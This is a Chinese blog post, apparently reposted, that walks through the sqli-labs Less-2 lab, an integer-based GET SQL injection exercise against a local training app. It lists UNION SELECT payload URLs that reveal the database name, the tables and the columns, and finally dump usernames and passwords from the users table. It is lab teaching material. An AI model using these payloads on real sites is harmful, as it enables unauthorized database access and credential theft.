首页 > 其他 > 详细

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

时间:2019-04-03 10:50:32      阅读:186      评论:0      收藏:0      [点我收藏+]

将第一题中的id=1‘的 ‘ 去掉即可。

1)

http://127.0.0.1/sqli-labs-master/Less-2/?id=0

技术分享图片

2)爆库payload

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,database() --+

得到‘security’库名

技术分享图片

3)爆表payload

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查到  emails,referers,uagents,users ,显然users是用户数据表

技术分享图片

3)爆列名(字段)payload

http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users‘ --+

技术分享图片

4)爆值payload

http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,group_concat(username,0x3a,password) from users--+

0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ‘:‘ ,用以分割pasword和username。

技术分享图片

 

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

原文:https://www.cnblogs.com/zoey-/p/10646784.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!